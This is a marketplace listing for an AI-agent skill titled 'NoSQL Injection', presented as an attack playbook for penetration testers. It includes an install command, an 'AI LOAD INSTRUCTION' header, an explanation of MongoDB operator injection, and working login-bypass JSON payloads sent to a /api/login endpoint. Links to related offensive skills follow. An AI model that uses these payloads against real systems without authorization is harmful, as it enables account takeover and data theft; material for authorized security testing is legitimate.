Nosql Injection
Playbook for NoSQL injection covering MongoDB operator abuse, login bypass, blind regex extraction, and CouchDB/Redis exposure.
- CCM score
- 62 of 100
- skills.sh installs
- 3.9K
- GitHub stars
- 2.7K
- last updated
- Aug 21, 2026
Own this skill? Claim it
What it does
- Covers MongoDB operator injection, login bypass, blind extraction via
$regex,$whereJavaScript abuse, and aggregation pipeline injection - Includes operator reference tables, PHP and Ruby/Python parameter-array tricks, CouchDB admin API and Redis exposure checks, and a testing checklist
- Provides a Python template for character-by-character
$regexextraction with a boolean login-response oracle - Designed for penetration testers who already know SQL injection and need NoSQL-specific attack patterns
Install
$ npx -y skills add yaklang/hack-skills --skill nosql-injection -yInstalls into .agents/skills for every agent it finds here, and .claude/skills for Claude Code.
Files
SKILL: NoSQL Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
1. CORE CONCEPT — OPERATOR INJECTION
SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.
MongoDB example — normal query:
db.users.find({username: "alice", password: "secret"})
Injection via JSON operator:
{
"username": "admin",
"password": {"$gt": ""}
}
→ Becomes: find({username:"admin", password:{$gt:""}}) → password > "" → always true!
2. MONGODB — LOGIN BYPASS
JSON Body Injection (API with JSON Content-Type)
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}
Details
- Repository
- github.com/yaklang/hack-skills
- Categories
- Security, Databases
- First seen
- Jun 3, 2026
More from yaklang/hack-skills
All 102- Macos Process Injection3.9K
- Upload Insecure Files3.9K
- Unauthorized Access Common Services3.8K
- Reverse Shell Techniques3.8K
- Ghost Bits Cast Attack3.7K
- Hack4.8K
- Recon And Methodology4.5K
- Android Pentesting Tricks4.5K
- Sqli Sql Injection4.5K
- Code Obfuscation Deobfuscation4.4K
- Xss Cross Site Scripting4.4K
- Api Sec4.4K
- Business Logic Vulnerabilities4.3K
- Ssrf Server Side Request Forgery4.3K
- Idor Broken Object Authorization4.2K
- Authbypass Authentication Flaws4.2K
- Jwt Oauth Token Attacks4.2K
- 401 403 Bypass Techniques4.2K
- Api Recon And Docs4.2K
- Waf Bypass Techniques4.2K
- Api Auth And Jwt Abuse4.2K
- Vm And Bytecode Reverse4.2K
- Websocket Security4.2K
- Api Authorization And Bola4.2K
Similar to Nosql Injection
More Securitysqli-sql-injectionyaklang/hack-skills4.5K installsPlaybook for advanced SQL injection, covering per-database exploitation, out-of-band exfiltration, and filter evasion for authorized testing.
ssti-server-side-template-injectionyaklang/hack-skills4.1K installsServer-side template injection playbook with engine fingerprinting probes and RCE chains for Jinja2, FreeMarker, Twig, Velocity, ERB, and Thymeleaf.
sql-injection-preventionaj-geddes/useful-ai-prompts538 installsPrevention guide for SQL injection covering prepared statements, parameterized queries, ORM use, and input validation.
SQL Injection Testingdavila7/claude-code-templates308 installsCatalog-style SQL injection testing guide covering detection, exploitation, authentication bypass, and filter evasion across database engines.
database-experttravisjneuman/.claude257 installsComprehensive PostgreSQL, MongoDB, and Redis guide covering schema design, query tuning, and data patterns.
sql-code-reviewgithub/awesome-copilot15.8K installsUniversal SQL code review guide covering injection prevention, access control, performance, and anti-pattern detection across databases.